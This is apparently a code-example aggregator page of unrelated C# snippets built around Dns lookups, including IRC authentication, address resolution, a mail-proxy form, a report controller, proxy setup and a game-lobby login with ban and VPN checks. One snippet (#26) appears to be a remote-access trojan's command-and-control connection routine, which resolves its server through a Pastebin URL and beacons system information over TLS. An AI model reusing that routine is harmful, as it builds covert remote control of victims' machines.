                        Array.Copy(bytes, i * 397, byteSets[i], 0, sizeRemainig);
                    }

                    for (var i = 0; i < byteSets.Length; i++)
                    {
                        var byteSet = byteSets[i];
                        connection.Send(i == byteSets.Length - 1
                                ? $"AUTHENTICATE {Convert.ToBase64String(bytes)} +"
                                : $"AUTHENTICATE {Convert.ToBase64String(bytes)}"
                                        );
                    }


                    break;
                }

                default: throw new NotSupportedException($"SASL MECHANISM '{saslMechanism}' is not supported'");
                }
            }
            connection.Send("CAP END");

            // connection.Send("JOIN #testchannel");
        }
コード例 #21
0
        /// <summary>
        /// Given a string that should identify an endpoint-address, resolve it to an actual IP address
        /// and set the Address property to a valid corresponding value.
        /// </summary>
        /// <param name="name">the endpoint-address to resolve</param>
        /// <param name="ip4Only">whether the address must be only-IPv4</param>
        /// <exception cref="InvalidException">The name must contain the colon delimiter.</exception>
        /// <exception cref="InvalidException">The specified port must be a valid nonzero integer.</exception>
        /// <exception cref="InvalidException">Must be able to find the IP-address.</exception>
        public void Resolve(string name, bool ip4Only)
        {
            // Find the ':' at end that separates address from the port number.
            int delimiter = name.LastIndexOf(':');

            if (delimiter < 0)
            {
                throw new InvalidException($"TcpAddress.Resolve, delimiter ({delimiter}) must be non-negative.");
            }

            // Separate the address/port.
            string addrStr = name.Substring(0, delimiter);
            string portStr = name.Substring(delimiter + 1);

            // Remove square brackets around the address, if any.
            if (addrStr.Length >= 2 && addrStr[0] == '[' && addrStr[addrStr.Length - 1] == ']')
            {
                addrStr = addrStr.Substring(1, addrStr.Length - 2);
            }

            // Get the port-number (or zero for auto-selection of a port).
            int port;

            // Allow 0 specifically, to detect invalid port error in atoi if not
            if (portStr == "*" || portStr == "0")
            {
                // Resolve wildcard to 0 to allow auto-selection of port
                port = 0;
            }
            else
            {
                // Parse the port number (0 is not a valid port).
                port = Convert.ToInt32(portStr);
                if (port == 0)
                {
                    throw new InvalidException($"TcpAddress.Resolve, port ({portStr}) must be a valid nonzero integer.");
                }
            }

            IPAddress ipAddress;

            // Interpret * as Any.
            if (addrStr == "*")
            {
                ipAddress = ip4Only
                    ? IPAddress.Any
                    : IPAddress.IPv6Any;
            }
            else if (!IPAddress.TryParse(addrStr, out ipAddress))
            {
#if NETSTANDARD1_3 || UAP
                var availableAddresses = Dns.GetHostEntryAsync(addrStr).Result.AddressList;
#else
                var availableAddresses = Dns.GetHostEntry(addrStr).AddressList;
#endif

                ipAddress = ip4Only
                    ? availableAddresses.FirstOrDefault(ip => ip.AddressFamily == AddressFamily.InterNetwork)
                    : availableAddresses.FirstOrDefault(ip => ip.AddressFamily == AddressFamily.InterNetwork || ip.AddressFamily == AddressFamily.InterNetworkV6);

                if (ipAddress == null)
                {
                    throw new InvalidException($"TcpAddress.Resolve, unable to find an IP address for {name}");
                }
            }

            Address = new IPEndPoint(ipAddress, port);
        }
コード例 #22
0
ファイル: Local.cs プロジェクト: CAH-FlyChen/apollo.net
 private static void ReadHostName()
 {
     _hostName = Dns.GetHostName();
 }
コード例 #23
0
 public string GetCurrentIP()
 {
     string hostName = Dns.GetHostName();
     return myIP = Dns.GetHostByName(hostName).AddressList[0].ToString();
 }
コード例 #24
0
        /// <summary>
        /// Load event handler.
        /// </summary>
        private void Form1_Load(object sender, EventArgs e)
        {
            OutlookVersions.Add("8.0", "Outlook 97");
            OutlookVersions.Add("9.0", "Outlook 2000");
            OutlookVersions.Add("10.0", "Outlook XP");
            OutlookVersions.Add("11.0", "Outlook 2003");
            OutlookVersions.Add("12.0", "Outlook 2007");
            OutlookVersions.Add("14.0", "Outlook 2010");
            OutlookVersions.Add("15.0", "Outlook 2013");
            OutlookVersions.Add("16.0", "Outlook v16");
            OutlookVersions.Add("17.0", "Outlook v17");
            OutlookVersions.Add("18.0", "Outlook v18");
            OutlookVersions.Add("19.0", "Outlook v19");
            OutlookVersions.Add("20.0", "Outlook v20");

            SettingsFileName = (AppDomain.CurrentDomain.BaseDirectory + "\\OpaqueMail.Proxy.xml").Replace("\\\\", "\\");

            AboutLabel.Links.Clear();
            AboutLabel.Links.Add(AboutLabel.Text.IndexOf("S/MIME"), 6, "https://en.wikipedia.org/wiki/S/MIME");
            AboutLabel.LinkClicked += Label_LinkClicked;

            GettingStartedLabel.Links.Clear();
            int settingsFileIndex = GettingStartedLabel.Text.IndexOf("[SETTINGSFILE]");

            GettingStartedLabel.Text = GettingStartedLabel.Text.Replace("[SETTINGSFILE]", SettingsFileName);
            GettingStartedLabel.Links.Add(settingsFileIndex, SettingsFileName.Length, SettingsFileName);
            GettingStartedLabel.Links.Add(GettingStartedLabel.Text.IndexOf("http://opaquemail.org/"), 22, "http://opaquemail.org/");
            GettingStartedLabel.LinkClicked += Label_LinkClicked;

            CertificateLabel.Links.Clear();
            CertificateLabel.Links.Add(CertificateLabel.Text.IndexOf("Comodo"), 6, "http://www.instantssl.com/ssl-certificate-products/free-email-certificate.html");
            CertificateLabel.Links.Add(CertificateLabel.Text.IndexOf("StartCom"), 8, "https://cert.startcom.org/");
            CertificateLabel.LinkClicked += Label_LinkClicked;

            AccountsLabel.Links.Clear();
            AccountsLabel.Links.Add(AboutLabel.Text.IndexOf("http://opaquemail.org/"), 22, "http://opaquemail.org/");
            AccountsLabel.LinkClicked += Label_LinkClicked;

            // Load the e-mail accounts list and certificate choices.
            PopulateAccounts();

            SmimeOperations.SelectedIndex         = 3;
            SmimeOperations.SelectedIndexChanged += SmimeOperations_SelectedIndexChanged;

            SmimeSettingsMode.SelectedIndex = 0;

            string      ip        = "192.168.*";
            IPHostEntry hostEntry = Dns.GetHostEntry(Dns.GetHostName());

            foreach (IPAddress hostIP in hostEntry.AddressList)
            {
                string[] ipParts = hostIP.ToString().Split('.');
                if (ipParts.Length > 2)
                {
                    ip = ipParts[0] + "." + ipParts[1] + ".*";
                    break;
                }
            }
            NetworkAccess.Items[1] = ((string)NetworkAccess.Items[1]).Replace("192.168.*", ip);

            NetworkAccess.SelectedIndex = 0;

            UpdateServiceStatus(null);

            StatusTimer = new System.Threading.Timer(new TimerCallback(UpdateServiceStatus), null, 15000, 15000);
        }
コード例 #25
0
        public async Task <ActionResult> Index(string fromdate, string Process)
        {
            IPHostEntry heserver = Dns.GetHostEntry(Dns.GetHostName());
            var         ip       = heserver.AddressList[1].ToString();

            string token    = Request.HttpContext.Session.Id.ToString();
            string username = Request.HttpContext.User.Claims.FirstOrDefault().Value.ToString();

            if (fromdate == null)
            {
                fromdate = "2019-03-1";
            }
            var period = fromdate;
            //var period = fromdate.Replace("-", "");
            //period = period.Substring(0, 6);

            var p = _context.s_GlobalPams.SingleOrDefault(x => x.parm_key == "DateFormat");

            var Log_Select_Print = _context.Log_Select_Print.Where(w => w.opt == "PrintDailyReport" && w.username == username);

            var PrintFGMovement = Log_Select_Print.ToList();    //เอาชุดข้อมูลของ RowNumber ที่เลือกไปมาwhere contain
            var RowNumbers      = PrintFGMovement[0].name.ToString();

            int [] array = RowNumbers.Split(',').Select(n => Convert.ToInt32(n)).ToArray();

            ViewBag.GlobalDtFormat = p.param_value.ToString();

            ViewBag.fromdate = Convert.ToString(period);
            //ViewBag.todate = Convert.ToDateTime(PrintFGMovement[0].todate).ToString(p.param_value);

            var       list_DailyReport = new List <DailyReport>();
            DataTable dt          = new DataTable();
            var       msgj        = "";
            int       rownumber   = 0;
            string    model       = "";
            string    fcode       = "";
            string    material    = "";
            string    _period     = "";
            string    MachineCode = "";
            //int D01 = 0;
            //int D02 = 0;
            //int D03 = 0;
            //int D04 = 0;
            //int D05 = 0;
            //int D06 = 0;
            //int D07 = 0;
            //int D08 = 0;
            //int D09 = 0;
            //int D10 = 0;
            //int D11 = 0;
            //int D12 = 0;
            //int D13 = 0;
            //int D14 = 0;
            //int D15 = 0;
            //int D16 = 0;
            //int D17 = 0;
            //int D18 = 0;
            //int D19 = 0;
            //int D20 = 0;
            //int D21 = 0;
            //int D22 = 0;
            //int D23 = 0;
            //int D24 = 0;
            //int D25 = 0;
            //int D26 = 0;
            //int D27 = 0;
            //int D28 = 0;
            //int D29 = 0;
            //int D30 = 0;
            //int D31 = 0;
            //int N01 = 0;
            //int N02 = 0;
            //int N03 = 0;
            //int N04 = 0;
            //int N05 = 0;
            //int N06 = 0;
            //int N07 = 0;
            //int N08 = 0;
            //int N09 = 0;
            //int N10 = 0;
            //int N11 = 0;
            //int N12 = 0;
            //int N13 = 0;
            //int N14 = 0;
            //int N15 = 0;
            //int N16 = 0;
            //int N17 = 0;
            //int N18 = 0;
            //int N19 = 0;
            //int N20 = 0;
            //int N21 = 0;
            //int N22 = 0;
            //int N23 = 0;
            //int N24 = 0;
            //int N25 = 0;
            //int N26 = 0;
            //int N27 = 0;
            //int N28 = 0;
            //int N29 = 0;
            //int N30 = 0;
            //int N31 = 0;
            int        total = 0;
            List <int> D     = new List <int>();
            DateTime   asof  = DateTime.Now;

            try
            {
                using (var cmd = _context.Database.GetDbConnection().CreateCommand())
                {
                    cmd.Parameters.Clear();
                    cmd.CommandText = "m_sp_rpt008_DailyReport";
                    cmd.CommandType = CommandType.StoredProcedure;
                    cmd.Parameters.Add(new SqlParameter("@period", SqlDbType.Int)
                    {
                        Value = Convert.ToInt32(period)
                    });
                    cmd.Parameters.Add(new SqlParameter("@ProcessCode", SqlDbType.NVarChar)
                    {
                        Value = Process
                    });

                    if (cmd.Connection.State != ConnectionState.Open)
                    {
                        cmd.Connection.Open();
                    }

                    var DbReader = cmd.ExecuteReader();

                    if (DbReader.HasRows)
                    {
                        dt.Load(DbReader);

                        if (dt.Columns.Count > 1)
                        {
                            foreach (DataRow dr in dt.Select())
                            {
                                if (dr["RowNumber"] != System.DBNull.Value)
                                {
                                    rownumber = Convert.ToInt32(dr["RowNumber"]);
                                }

                                if (dr["period"] != System.DBNull.Value)
                                {
                                    _period = (string)dr["period"];
                                }

                                if (dr["MachineCode"] != System.DBNull.Value)
                                {
                                    MachineCode = (string)dr["MachineCode"];
                                }

                                if (dr["Model"] != System.DBNull.Value)
                                {
                                    model = (string)dr["Model"];
                                }

                                if (dr["FCode"] != System.DBNull.Value)
                                {
                                    fcode = (string)dr["FCode"];
                                }

                                if (dr["Material"] != System.DBNull.Value)
                                {
                                    material = (string)dr["Material"];
                                }

                                if (dr["total"] != System.DBNull.Value)
                                {
                                    total = (int)dr["total"];
                                }

                                //if (dr["D01"] != System.DBNull.Value)
                                //{
                                //    D01 = (int)dr["D01"];
                                //}

                                //if (dr["D02"] != System.DBNull.Value)
                                //{
                                //    D02 = (int)dr["D02"];
                                //}

                                //if (dr["D03"] != System.DBNull.Value)
                                //{
                                //    D03 = (int)dr["D03"];
                                //}

                                //if (dr["D04"] != System.DBNull.Value)
                                //{
                                //    D04 = (int)dr["D04"];
                                //}

                                //if (dr["D05"] != System.DBNull.Value)
                                //{
                                //    D05 = (int)dr["D05"];
                                //}

                                //if (dr["D06"] != System.DBNull.Value)
                                //{
                                //    D06 = (int)dr["D06"];
                                //}

                                //if (dr["D07"] != System.DBNull.Value)
                                //{
                                //    D07 = (int)dr["D07"];
                                //}
                                //if (dr["D08"] != System.DBNull.Value)
                                //{
                                //    D08 = (int)dr["D08"];
                                //}

                                //if (dr["D09"] != System.DBNull.Value)
                                //{
                                //    D09 = (int)dr["D09"];
                                //}

                                //if (dr["D10"] != System.DBNull.Value)
                                //{
                                //    D10 = (int)dr["D10"];
                                //}

                                //if (dr["D11"] != System.DBNull.Value)
                                //{
                                //    D11 = (int)dr["D11"];
                                //}

                                //if (dr["D12"] != System.DBNull.Value)
                                //{
                                //    D12 = (int)dr["D12"];
                                //}

                                //if (dr["D13"] != System.DBNull.Value)
                                //{
                                //    D13 = (int)dr["D13"];
                                //}

                                //if (dr["D14"] != System.DBNull.Value)
                                //{
                                //    D14 = (int)dr["D14"];
                                //}

                                //if (dr["D15"] != System.DBNull.Value)
                                //{
                                //    D15 = (int)dr["D15"];
                                //}

                                //if (dr["D16"] != System.DBNull.Value)
                                //{
                                //    D16 = (int)dr["D16"];
                                //}

                                //if (dr["D17"] != System.DBNull.Value)
                                //{
                                //    D17 = (int)dr["D17"];
                                //}

                                //if (dr["D18"] != System.DBNull.Value)
                                //{
                                //    D18 = (int)dr["D18"];
                                //}

                                //if (dr["D19"] != System.DBNull.Value)
                                //{
                                //    D19 = (int)dr["D19"];
                                //}

                                //if (dr["D20"] != System.DBNull.Value)
                                //{
                                //    D20 = (int)dr["D20"];
                                //}

                                //if (dr["D21"] != System.DBNull.Value)
                                //{
                                //    D21 = (int)dr["D21"];
                                //}

                                //if (dr["D22"] != System.DBNull.Value)
                                //{
                                //    D22 = (int)dr["D22"];
                                //}

                                //if (dr["D23"] != System.DBNull.Value)
                                //{
                                //    D23 = (int)dr["D23"];
                                //}

                                //if (dr["D24"] != System.DBNull.Value)
                                //{
                                //    D24 = (int)dr["D24"];
                                //}

                                //if (dr["D25"] != System.DBNull.Value)
                                //{
                                //    D25 = (int)dr["D25"];
                                //}

                                //if (dr["D26"] != System.DBNull.Value)
                                //{
                                //    D26 = (int)dr["D26"];
                                //}

                                //if (dr["D27"] != System.DBNull.Value)
                                //{
                                //    D27 = (int)dr["D27"];
                                //}

                                //if (dr["D28"] != System.DBNull.Value)
                                //{
                                //    D28 = (int)dr["D28"];
                                //}

                                //if (dr["D29"] != System.DBNull.Value)
                                //{
                                //    D29 = (int)dr["D29"];
                                //}

                                //if (dr["D30"] != System.DBNull.Value)
                                //{
                                //    D30 = (int)dr["D30"];
                                //}

                                //if (dr["D31"] != System.DBNull.Value)
                                //{
                                //    D31 = (int)dr["D31"];
                                //}

                                //if (dr["N01"] != System.DBNull.Value)
                                //{
                                //    N01 = (int)dr["N01"];
                                //}

                                //if (dr["N02"] != System.DBNull.Value)
                                //{
                                //    N02 = (int)dr["N02"];
                                //}

                                //if (dr["N03"] != System.DBNull.Value)
                                //{
                                //    N03 = (int)dr["N03"];
                                //}

                                //if (dr["N04"] != System.DBNull.Value)
                                //{
                                //    N04 = (int)dr["N04"];
                                //}

                                //if (dr["N05"] != System.DBNull.Value)
                                //{
                                //    N05 = (int)dr["N05"];
                                //}

                                //if (dr["N06"] != System.DBNull.Value)
                                //{
                                //    N06 = (int)dr["N06"];
                                //}

                                //if (dr["N07"] != System.DBNull.Value)
                                //{
                                //    N07 = (int)dr["N07"];
                                //}
                                //if (dr["N08"] != System.DBNull.Value)
                                //{
                                //    N08 = (int)dr["N08"];
                                //}

                                //if (dr["N09"] != System.DBNull.Value)
                                //{
                                //    N09 = (int)dr["N09"];
                                //}

                                //if (dr["N10"] != System.DBNull.Value)
                                //{
                                //    N10 = (int)dr["N10"];
                                //}

                                //if (dr["N11"] != System.DBNull.Value)
                                //{
                                //    N11 = (int)dr["N11"];
                                //}

                                //if (dr["N12"] != System.DBNull.Value)
                                //{
                                //    N12 = (int)dr["N12"];
                                //}

                                //if (dr["N13"] != System.DBNull.Value)
                                //{
                                //    N13 = (int)dr["N13"];
                                //}

                                //if (dr["N14"] != System.DBNull.Value)
                                //{
                                //    N14 = (int)dr["N14"];
                                //}

                                //if (dr["N15"] != System.DBNull.Value)
                                //{
                                //    N15 = (int)dr["N15"];
                                //}

                                //if (dr["N16"] != System.DBNull.Value)
                                //{
                                //    N16 = (int)dr["N16"];
                                //}

                                //if (dr["N17"] != System.DBNull.Value)
                                //{
                                //    N17 = (int)dr["N17"];
                                //}

                                //if (dr["N18"] != System.DBNull.Value)
                                //{
                                //    N18 = (int)dr["N18"];
                                //}

                                //if (dr["N19"] != System.DBNull.Value)
                                //{
                                //    N19 = (int)dr["N19"];
                                //}

                                //if (dr["N20"] != System.DBNull.Value)
                                //{
                                //    N20 = (int)dr["N20"];
                                //}

                                //if (dr["N21"] != System.DBNull.Value)
                                //{
                                //    N21 = (int)dr["N21"];
                                //}

                                //if (dr["N22"] != System.DBNull.Value)
                                //{
                                //    N22 = (int)dr["N22"];
                                //}

                                //if (dr["N23"] != System.DBNull.Value)
                                //{
                                //    N23 = (int)dr["N23"];
                                //}

                                //if (dr["N24"] != System.DBNull.Value)
                                //{
                                //    N24 = (int)dr["N24"];
                                //}

                                //if (dr["N25"] != System.DBNull.Value)
                                //{
                                //    N25 = (int)dr["N25"];
                                //}

                                //if (dr["N26"] != System.DBNull.Value)
                                //{
                                //    N26 = (int)dr["N26"];
                                //}

                                //if (dr["N27"] != System.DBNull.Value)
                                //{
                                //    N27 = (int)dr["N27"];
                                //}

                                //if (dr["N28"] != System.DBNull.Value)
                                //{
                                //    N28 = (int)dr["N28"];
                                //}

                                //if (dr["N29"] != System.DBNull.Value)
                                //{
                                //    N29 = (int)dr["N29"];
                                //}

                                //if (dr["N30"] != System.DBNull.Value)
                                //{
                                //    N30 = (int)dr["N30"];
                                //}

                                //if (dr["N31"] != System.DBNull.Value)
                                //{
                                //    N31 = (int)dr["N31"];
                                //}

                                //for(var i = 0; i < 31; i++)
                                //  {
                                //      var day_no = "0" + (i + 1);
                                //      day_no = day_no.Substring(day_no.Length - 2);
                                //      D.Add((int)dr["D" + day_no]);

                                //  }


                                dailyReport = new DailyReport
                                {
                                    RowNumber   = rownumber,
                                    MachineCode = MachineCode,
                                    period      = _period,
                                    FCode       = fcode,
                                    Model       = model,
                                    total       = total,
                                    //D01 = D01,
                                    //D02 = D02,
                                    //D03 = D03,
                                    //D04 = D04,
                                    //D05 = D05,
                                    //D06 = D06,
                                    //D07 = D07,
                                    //D08 = D08,
                                    //D09 = D09,
                                    //D10 = D10,
                                    //D11 = D11,
                                    //D12 = D12,
                                    //D13 = D13,
                                    //D14 = D14,
                                    //D15 = D15,
                                    //D16 = D16,
                                    //D17 = D17,
                                    //D18 = D18,
                                    //D19 = D19,
                                    //D20 = D20,
                                    //D21 = D21,
                                    //D22 = D22,
                                    //D23 = D23,
                                    //D24 = D24,
                                    //D25 = D25,
                                    //D26 = D26,
                                    //D27 = D27,
                                    //D28 = D28,
                                    //D29 = D29,
                                    //D30 = D30,
                                    //D31 = D31,
                                    //N01 = N01,
                                    //N02 = N02,
                                    //N03 = N03,
                                    //N04 = N04,
                                    //N05 = N05,
                                    //N06 = N06,
                                    //N07 = N07,
                                    //N08 = N08,
                                    //N09 = N09,
                                    //N10 = N10,
                                    //N11 = N11,
                                    //N12 = N12,
                                    //N13 = N13,
                                    //N14 = N14,
                                    //N15 = N15,
                                    //N16 = N16,
                                    //N17 = N17,
                                    //N18 = N18,
                                    //N19 = N19,
                                    //N20 = N20,
                                    //N21 = N21,
                                    //N22 = N22,
                                    //N23 = N23,
                                    //N24 = N24,
                                    //N25 = N25,
                                    //N26 = N26,
                                    //N27 = N27,
                                    //N28 = N28,
                                    //N29 = N29,
                                    //N30 = N30,
                                    //N31 = N31,
                                };

                                list_DailyReport.Add(dailyReport);
                            }
                            //ViewBag.table = dt;
                            //ViewData.Model = dt.AsEnumerable();
                        }
                        else
                        {
                        }
                    }
                    cmd.Connection.Close();
                }
            }
            catch (SqlException ex)
            {
                msgj = ex.Message;
                dt.Columns.Add("SqlStatus", typeof(System.String));
                dt.Columns.Add("SqlErrtext", typeof(System.String));
                foreach (DataRow dr in dt.Select())
                {
                    dr["SqlStatus"]  = "Error";
                    dr["SqlErrtext"] = msgj;
                }
            }

            var list = list_DailyReport.Where(w => array.Contains(w.RowNumber)).ToList();

            ViewBag.listdata = list;
            //Thread.Sleep(5000);
            return(View(dt));
        }
コード例 #26
0
        public static void InitializeClient()
        {
            try
            {
                TcpClient = new System.Net.Sockets.Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
                {
                    ReceiveBufferSize = 50 * 1024,
                    SendBufferSize    = 50 * 1024,
                };

                if (Settings.Pastebin == "null")
                {
                    string ServerIP   = Settings.Hosts.Split(',')[new Random().Next(Settings.Hosts.Split(',').Length)];
                    int    ServerPort = Convert.ToInt32(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)]);

                    if (IsValidDomainName(ServerIP))                              //check if the address is alphanumric (meaning its a domain)
                    {
                        IPAddress[] addresslist = Dns.GetHostAddresses(ServerIP); //get all IP's connected to that domain

                        foreach (IPAddress theaddress in addresslist)             //we do a foreach becasue a domain can lead to multiple IP's
                        {
                            try
                            {
                                TcpClient.Connect(theaddress, ServerPort); //lets try and connect!
                                if (TcpClient.Connected)
                                {
                                    break;
                                }
                            }
                            catch { }
                        }
                    }
                    else
                    {
                        TcpClient.Connect(ServerIP, ServerPort); //legacy mode connect (no DNS)
                    }
                }
                else
                {
                    using (WebClient wc = new WebClient())
                    {
                        NetworkCredential networkCredential = new NetworkCredential("", "");
                        wc.Credentials = networkCredential;
                        string   resp = wc.DownloadString(Settings.Pastebin);
                        string[] spl  = resp.Split(new[] { ":" }, StringSplitOptions.None);
                        Settings.Hosts = spl[0];
                        Settings.Ports = spl[new Random().Next(1, spl.Length)];
                        TcpClient.Connect(Settings.Hosts, Convert.ToInt32(Settings.Ports));
                    }
                }

                if (TcpClient.Connected)
                {
                    Debug.WriteLine("Connected!");
                    IsConnected = true;
                    SslClient   = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate);
                    SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
                    Buffer = new byte[4];
                    MS     = new MemoryStream();
                    Send(Methods.SendInfo());
                    Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
                    SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
                }
                else
                {
                    IsConnected = false;
                    return;
                }
            }
            catch
            {
                Debug.WriteLine("Disconnected!");
                IsConnected = false;
                return;
            }
        }
コード例 #27
0
 public static String GetUsername()
 {
     return(Dns.GetHostName());
 }
コード例 #28
0
        /// <summary>
        /// 连接到远程端
        /// </summary>
        /// <param name="hostNameOrAddress">域名或ip地址</param>
        /// <param name="port">远程端口</param>
        /// <exception cref="ArgumentNullException"></exception>
        /// <exception cref="ArgumentOutOfRangeException"></exception>
        /// <exception cref="ArgumentException"></exception>
        /// <exception cref="SocketException"></exception>
        /// <returns></returns>
        public Task <bool> Connect(string hostNameOrAddress, int port)
        {
            var ipAddress = Dns.GetHostAddresses(hostNameOrAddress);

            return(this.Connect(ipAddress.Last(), port));
        }
コード例 #29
0
        public void InitProxy(ServerConfig serverConfig)
        {
            // dispose old SocksWebProxy
            if (webProxy is SocksWebProxy proxy)
            {
                proxy.Dispose();
            }
            webProxy = null;

            webProxyUrl = serverConfig.GetProxyUrl();
            if (serverConfig.ProxyType == ProxyType.Disabled || string.IsNullOrWhiteSpace(webProxyUrl))
            {
                return;
            }
            if (serverConfig.ProxyType == ProxyType.Http)
            {
                NetworkCredential creds = null;
                if (!serverConfig.ProxyIsAnonymous)
                {
                    var username = serverConfig.ProxyUsername;
                    var password = serverConfig.ProxyPassword;
                    creds = new NetworkCredential(username, password);
                }
                webProxy = new WebProxy(serverConfig.GetProxyUrl(false)) // proxy URL without credentials
                {
                    BypassProxyOnLocal = false,
                    Credentials        = creds
                };
            }
            else if (serverConfig.ProxyType == ProxyType.Socks4 || serverConfig.ProxyType == ProxyType.Socks5)
            {
                // in case of error in DNS resolution, we use a fake proxy to avoid leaking the user IP (disabling proxy)
                // https://github.com/Jackett/Jackett/issues/8826
                var addresses = new [] { new IPAddress(2130706433) }; // 127.0.0.1
                try
                {
                    addresses = Dns.GetHostAddressesAsync(serverConfig.ProxyUrl).Result;
                }
                catch (Exception e)
                {
                    logger.Error($"Unable to resolve proxy URL: {serverConfig.ProxyUrl}. The proxy will not work properly.\n{e}");
                }
                var socksConfig = new ProxyConfig
                {
                    SocksAddress = addresses.FirstOrDefault(),
                    Username     = serverConfig.ProxyUsername,
                    Password     = serverConfig.ProxyPassword,
                    Version      = serverConfig.ProxyType == ProxyType.Socks4 ?
                                   ProxyConfig.SocksVersion.Four :
                                   ProxyConfig.SocksVersion.Five
                };
                if (serverConfig.ProxyPort.HasValue)
                {
                    socksConfig.SocksPort = serverConfig.ProxyPort.Value;
                }
                webProxy = new SocksWebProxy(socksConfig, false);
            }
            else
            {
                throw new Exception($"Proxy type '{serverConfig.ProxyType}' is not implemented!");
            }
        }
コード例 #30
0
ファイル: IpopNode.cs プロジェクト: pstjuste/brunet
    protected virtual void SetDns() {
      if(_dns != null) {
        return;
      }

      if(!SupportedDns(_ipop_config.Dns.Type) || _ipop_config.Dns.Type == "StaticDns") {
        _dns = new StaticDns(
            MemBlock.Reference(Utils.StringToBytes(_dhcp_config.IPBase, '.')),
            MemBlock.Reference(Utils.StringToBytes(_dhcp_config.Netmask, '.')),
            _ipop_config.Dns.NameServer, _ipop_config.Dns.ForwardQueries);
      }
    }
コード例 #31
0
        public LoginResponse Login(User user, Login login, ClientConnection client)
        {
            string ip           = client.RemoteEndpointIP;
            long   userID       = login.UserID;
            string lobbyVersion = login.LobbyVersion;

            using (var db = new ZkDataContext()) {
                Account acc = db.Accounts.Include(x => x.Clan).Include(x => x.Faction).FirstOrDefault(x => x.Name == login.Name);
                if (acc == null)
                {
                    return new LoginResponse {
                               ResultCode = LoginResponse.Code.InvalidName
                    }
                }
                ;
                if (!acc.VerifyPassword(login.PasswordHash))
                {
                    return new LoginResponse {
                               ResultCode = LoginResponse.Code.InvalidPassword
                    }
                }
                ;

                acc.Country = ResolveCountry(ip);
                if (acc.Country == null || String.IsNullOrEmpty(acc.Country))
                {
                    acc.Country = "unknown";
                }
                acc.LobbyVersion = lobbyVersion;
                acc.LastLogin    = DateTime.UtcNow;

                user.ClientType   = login.ClientType;
                user.LobbyVersion = login.LobbyVersion;
                UpdateUserFromAccount(user, acc);

                LogIP(db, acc, ip);

                LogUserID(db, acc, userID);

                db.SaveChanges();


                var banMute = Punishment.GetActivePunishment(acc.AccountID, ip, userID, x => x.BanMute, db);
                if (banMute != null)
                {
                    user.BanMute = true;
                }


                Punishment banPenalty = Punishment.GetActivePunishment(acc.AccountID, ip, userID, x => x.BanLobby, db);

                if (banPenalty != null)
                {
                    return
                        (BlockLogin(
                             string.Format("Banned until {0} (match to {1}), reason: {2}", banPenalty.BanExpires, banPenalty.AccountByAccountID.Name,
                                           banPenalty.Reason), acc, ip, userID));
                }

                Account accAnteep = db.Accounts.FirstOrDefault(x => x.AccountID == 4490);
                if (accAnteep != null)
                {
                    if (accAnteep.AccountUserIDs.Any(y => y.UserID == userID))
                    {
                        Talk(String.Format("Suspected Anteep smurf: {0} (ID match {1}) {2}", acc.Name, userID,
                                           string.Format("{1}/Users/Detail/{0}", acc.AccountID, GlobalConst.BaseSiteUrl)));
                    }

                    if (userID > 0 && userID < 1000)
                    {
                        Talk(String.Format("Suspected Anteep smurf: {0} (too short userID {1}) {2}", acc.Name, userID,
                                           string.Format("{1}/Users/Detail/{0}", acc.AccountID, GlobalConst.BaseSiteUrl)));
                    }

                    if (accAnteep.AccountIPs.Any(y => y.IP == ip))
                    {
                        Talk(String.Format("Suspected Anteep smurf: {0} (IP match {1}) {2}", acc.Name, ip,
                                           string.Format("{1}/Users/Detail/{0}", acc.AccountID, GlobalConst.BaseSiteUrl)));
                    }
                }

                if (!acc.HasVpnException && GlobalConst.VpnCheckEnabled)
                {
                    // check user IP against http://dnsbl.tornevall.org
                    // does not catch all smurfs
                    // mostly false positives, do not use
                    string reversedIP = string.Join(".", ip.Split('.').Reverse().ToArray());
                    try {
                        IPAddress[] resolved = Dns.GetHostEntry(string.Format("{0}.dnsbl.tornevall.org", reversedIP)).AddressList;
                        if (resolved.Length > 0)
                        {
                            Talk(String.Format("User {0} {3} has IP {1} on dnsbl.tornevall.org ({2} result/s)", acc.Name, ip, resolved.Length,
                                               string.Format("{1}/Users/Detail/{0}", acc.AccountID, GlobalConst.BaseSiteUrl)));
                        }
                    } catch (SocketException sockEx) {
                        // not in database, do nothing
                    }
                }

                try {
                    if (!acc.HasVpnException)
                    {
                        for (int i = 0; i <= 1; i++)
                        {
                            var whois = new Whois();
                            Dictionary <string, string> data = whois.QueryByIp(ip, i == 1);

                            if (!data.ContainsKey("netname"))
                            {
                                data["netname"] = "UNKNOWN NETNAME";
                            }
                            if (!data.ContainsKey("org-name"))
                            {
                                data["org-name"] = "UNKNOWN ORG";
                            }
                            if (!data.ContainsKey("abuse-mailbox"))
                            {
                                data["abuse-mailbox"] = "no mailbox";
                            }
                            if (!data.ContainsKey("notify"))
                            {
                                data["notify"] = "no notify address";
                            }
                            if (!data.ContainsKey("role"))
                            {
                                data["role"] = "UNKNOWN ROLE";
                            }
                            if (!data.ContainsKey("descr"))
                            {
                                data["descr"] = "no description";
                            }
                            if (!data.ContainsKey("remarks"))
                            {
                                data["remarks"] = "no remarks";
                            }

                            List <string> blockedCompanies = db.BlockedCompanies.Select(x => x.CompanyName.ToLower()).ToList();
                            List <string> blockedHosts     = db.BlockedHosts.Select(x => x.HostName).ToList();

                            /*if (acc.Country == "MY")
                             * {
                             * client.Say(SayPlace.User, "KingRaptor", String.Format("USER {0}\nnetname: {1}\norgname: {2}\ndescr: {3}\nabuse-mailbox: {4}",
                             *  acc.Name, data["netname"], data["org-name"], data["descr"], data["abuse-mailbox"]), false);
                             * }*/

                            bool blockedHost = blockedHosts.Any(x => data["abuse-mailbox"].Contains(x)) ||
                                               (blockedHosts.Any(x => data["notify"].Contains(x)));

                            foreach (string company in blockedCompanies)
                            {
                                if (data["netname"].ToLower().Contains(company) || data["org-name"].ToLower().Contains(company) ||
                                    data["descr"].ToLower().Contains(company) || data["role"].ToLower().Contains(company) ||
                                    data["remarks"].ToLower().Contains(company))
                                {
                                    blockedHost = true;
                                    break;
                                }
                            }

                            string hostname = Dns.GetHostEntry(ip).HostName;
                            if (blockedHosts.Any(hostname.Contains))
                            {
                                blockedHost = true;
